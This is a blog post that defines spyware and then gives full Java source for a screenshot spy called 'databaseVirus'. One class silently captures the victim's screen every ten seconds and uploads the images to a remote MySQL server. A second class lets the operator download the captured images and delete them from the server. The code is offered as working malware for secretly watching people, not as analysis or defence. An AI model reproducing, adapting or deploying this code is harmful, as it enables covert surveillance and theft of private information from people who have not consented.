Posted by
shantanu yadav
on
- Get link
- X
- Other Apps
Spyware is software that aims to gather information about a person or organization without their knowledge, that may send such information to another entity without the consumer's consent, or that asserts control over a device without the consumer's knowledge.Spyware is basically used to transmit data from host's computer to the hacker without their prior knowledge.
CREATE TABLE `images` ( `id` int(10) unsigned NOT NULL auto_increment, `image` longblob NOT NULL, PRIMARY KEY (`id`) );
@author Quadgen -shashank sahu
package databaseVirus; import java.awt.AWTException; import java.awt.Dimension; import java.awt.Rectangle; import java.awt.Robot; import java.awt.Toolkit; import java.awt.image.BufferedImage; import java.io.ByteArrayOutputStream; import java.sql.Connection; import java.sql.DriverManager; import java.sql.PreparedStatement; import java.sql.SQLException; import javax.imageio.ImageIO; class Uploder { public static Connection getConnection() { String driver = "YOUR DATBASE HOST HERE"; String url = "jdbc:mysql://<YOUR DATBSE HOST>:3306/<DATABASE USERNAME>"; String u = "<DATABASE USERNAME>"; String p = "<DATABASE PASSWORD>"; try { Class.forName(driver); } catch (ClassNotFoundException e) { getConnection(); } Connection conn = null; try { conn = DriverManager.getConnection(url, u, p); } catch (SQLException e) { getConnection(); } return conn; } static Connection conn; public static void main(String args[])throws Exception { conn = getConnection(); int fre=10000;//10 seconds, defines screen shot per 10 seconds while(true) { try{ BufferedImage originalImage=getImage(); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ImageIO.write(originalImage, "jpg", baos); byte[] imageInByte = baos.toByteArray(); String insertImageSql = "INSERT INTO " + "images(image)" + " VALUES(?)"; PreparedStatement preparedStatement = conn.prepareStatement(insertImageSql); preparedStatement.setBytes(1, imageInByte); preparedStatement.executeUpdate(); Thread.sleep(fre); } catch(Exception e) { continue; } } } public static BufferedImage getImage() throws AWTException { Dimension screenDim = Toolkit.getDefaultToolkit().getScreenSize(); Robot robot = null; robot = new Robot(); BufferedImage image = robot.createScreenCapture(new Rectangle(0, 0, (int) screenDim.getWidth(),(int) screenDim.getHeight())); return image; } }dfdfd
import java.io.FileOutputStream; import java.sql.Connection; import java.sql.DriverManager; import java.sql.ResultSet; import java.sql.SQLException; import java.sql.Statement; public class Manager { static int start,end; public static Connection getConnection() { String driver = "YOUR DATBASE HOST HERE"; String url = "jdbc:mysql://<YOUR DATBSE HOST>:3306/<DATABASE USERNAME>"; String u = "<DATABASE USERNAME>"; String p = "<DATABASE PASSWORD>"; try { Class.forName(driver); } catch (ClassNotFoundException e) { getConnection(); } Connection conn = null; try { conn = DriverManager.getConnection(url, u, p); } catch (SQLException e) { getConnection(); } return conn; } static Connection conn; public static void main()throws Exception { conn=getConnection(); Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery("SELECT * FROM images"); int id = 0; start=0; end=0; if (rs.next() == false) { System.out.println("No image is found in database "); } else { start=rs.getInt(1); do { id = rs.getInt(1); byte[] image = rs.getBytes(2); FileOutputStream fileOutputStream = new FileOutputStream("D:/"+id+".png"); fileOutputStream.write(image); System.out.println("\nImage successully retrieved from database. Id of image:"+ id ); fileOutputStream.close(); } while (rs.next()); } end=id; String sql = "DELETE FROM images " + "WHERE id<="+id+""; stmt.executeUpdate(sql); System.out.print("deleted record "+start+" to "+id); System.out.print((id-start+1)+"files Downloaded"); stmt.close(); rs.close(); conn.close(); } }
Comments
Post a Comment